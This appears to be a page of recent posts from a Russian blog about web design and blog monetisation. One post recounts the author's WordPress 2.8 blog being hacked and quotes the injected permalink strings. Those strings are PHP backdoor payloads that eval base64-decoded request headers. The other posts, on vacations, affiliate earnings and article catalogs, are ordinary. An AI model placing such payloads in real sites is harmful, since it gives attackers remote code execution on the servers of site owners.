Недавние заметки

Взлом моего блога через уязвимость WordPress

Скупой платит дважды, а ленивый работает в два раза больше. Об этом я вспомнил, когда мой блог стал очередной жертвой уязвимости в движке WordPress 2.8, устраненной только в версии WordPress 2.8.4. Благодаря этой дыре можно удаленно изменить пароль администратора блога WordPress, получив тем самым полный доступ к админке блога. Как что не стоит лениться обновлять движок до последней версии – спокойнее спаться будет.

В принципе, скрипт, получивший доступ к админке моего блога, не сделал ничего страшного. Или просто не успел сделать. Ко всем ссылкам на статьи блога дописывалось что-то вроде

%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%
и
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%

Этот код делал почти все ссылки блога мертвыми, переходы на посты не работали. Я перезалил шаблоны из последнего бэкапа, обновил движок WordPress, но ссылки не стали прежними. Файл .htaccess тоже был в порядке. Подозрение, что взломан хостинг, тоже не оправдались. И только просматривая параметры постоянных ссылок (Администрирование->Параметры->Постоянные ссылки) блога, я с удивлением заметил следующее:

Изменение шаблона ссылки в результате взлома WordPress

Читать дальше…

Плавный переход между работой и отпуском

Я не буду оригинален, если скажу, что возвращаться из отпуска на работу не очень хочется. Так что я пока плавно вливаюсь в работу, гася пожары в самых неоткладываемых проектах. До обновления блога руки пока не доходят, так что приходится записывать в блокнотик темы будущих статей, пришедшие в голову и надеяться, что скоро свободное время будет совпадать с желанием написать что-то полезное и оригинальное.

Отпуск, как и все хорошее, должен заканчиваться. И это к лучшему, ведь если жизнь – сплошной праздник, то этот праздник постепенно перестаешь ощущать. Да и работу свою я не могу назвать каторгой, главное, стараться видеть в вещах положительную сторону и не заморачиваться на негативе. Даже к капризам клиентов можно относиться с пониманием, лишь бы они за эти капризы платили :)

Читать дальше…

Небольшой отчет перед небольшим отпуском

Ура! Сегодня мой последний рабочий день перед долгожданным двухнедельным отпуском. Поеду на дачу, подальше от компьютеров и интернета. Хотя вру, ноутбук с полным винтом фильмов и мультиков беру с собой – на случай дождливой погоды, которая может помешать мне ходить на рыбалку и гоняться в маске и ластах за раками и пивом. Хотя знающие люди говорят, что пиво можно найти и без ласт, но на 100% я в этом не уверен.

Отпуск, пиво, раки...

На первый взгляд может показаться, что отпуск на даче с женой и с мамой (да-да, большинство людей, когда выходят из подросткового возраста, перестают стесняться факта, что у них есть мама) является не лучшим вариантом и оправдан только в условиях жесткого политико-экономического кризиса. Но лично мне сейчас намного больше хочется полежать в траве, разглядывая муравьев, чем жариться на турецком пляже, чтобы потом в офисе похвастаться красивым загаром. Максимальную радость не всегда приносят вещи с максимальной стоимостью.

Перед отпуском хотелось бы подвести небольшой итог работы моего блога. За свой первый год он постепенно превратился из хобби и площадки для экспериментов в сайт, приносящий хоть и небольшую, но прибыль. Наконец-то дошли руки сделать страничку с предложением о покупке постовых и размещении баннеров без участия бирж ссылок. Здесь же можно заказать разработку баннера по минимально возможной цене, а также заказать дизайн для сайта или новый сайт «под ключ». Поскольку у меня за плечами уже 4 года работы веб-дизайнером и в портфолио есть что показать как по разработке сайтов, так и по созданию баннеров, уверен, новые заказы будут и с этого блога.

Читать дальше…

Доход с партнерки игрового сайта «Mistery»: здесь рыбы нет

Прочитал вчера в блоге Тода о его опыте заработка на игровых сайтах и решил поделиться своими выводами, но немного о другой партнерке. В принципе, выводы те же: заработать на игровых партнерках много и сразу не получится. Скорее, незаточенный под игровую тематику сайт с низкой и средней посещаемость вообще не принесет никакой прибыли.

Если вы не владелец игрового или развлекательного портала с 10к уников в плохой день, лучше уж на контексте зарабатывайте. Не буду голословным, вот и вот примеры клановых сайтов известной он-лайн игры, которые размещают только контекстную рекламу и не связываются с игровыми партнерками. Хотя раньше такие баннеры у них были и правилами игры размещать баннеры на сайты конкурирующих проектов не запрещается. Посещаемость первого сайта – около 3 000 хостов в сутки, второго – до 10к. Делаем выводы.

У меня есть и свой личный опыт заработка на игровой партнерке бигмировской он-лайн игры “Mystery”. Точнее, попытки заработка, т.к. заработать не получилось. Лично меня это не удивило, учитывая далекую от игровой тематику этого блога. Хотя почему бы веб-мастерами и seo-оптимизаторам иногда и не поиграть в браузерную игрушку, перейдя на нее с баннера на блоге о серьезных вещах? ;) . Но то ли мой блог посещают сплошь серьезные люди, которые не гробят свое бесценное время на всякую фигню, то ли все уже играют во что-то другое, но кликабельность на баннеры была низкой. Регистрация была только одна, денег зарегистрировавшийся геймер в игрушку не вкладывал, а потому, кроме бесценного обломного опыта, похвастаться мне нечем:

Заработок с партнерки игрового сайта

Читать дальше…

Свежий список белых каталогов статей, в которые можно бесплатно добавить свою статью и ее проиндексирует Яндекс

Полгода назад, еще в феврале, я решил попробовать добавить свои статьи со ссылками на свой блог в белые каталоги статей. Т.е. в каталоги, которые размещают у себя статьи бесплатно и не требуют обратную ссылку с моего сайта. Заодно провел свой личный эксперимент, насколько это эффективно и сколько добавленных мной размноженных статей проиндексирует Яндекс.

Каталоги для размещения своих статей я искал поиском по ключевику белый каталог статей добавить бесплатно, а также в списках статейных каталогов, которые кочуют из блога в блог. Как правило, большинство из этих ссылок давно неактуальны, а свежие списки каталогов статей никто составлять не хочет… Копаться в мертвых ссылках каталогов нудное и неблагодарное занятие, но тяга к шаре неистребима.

Читать дальше…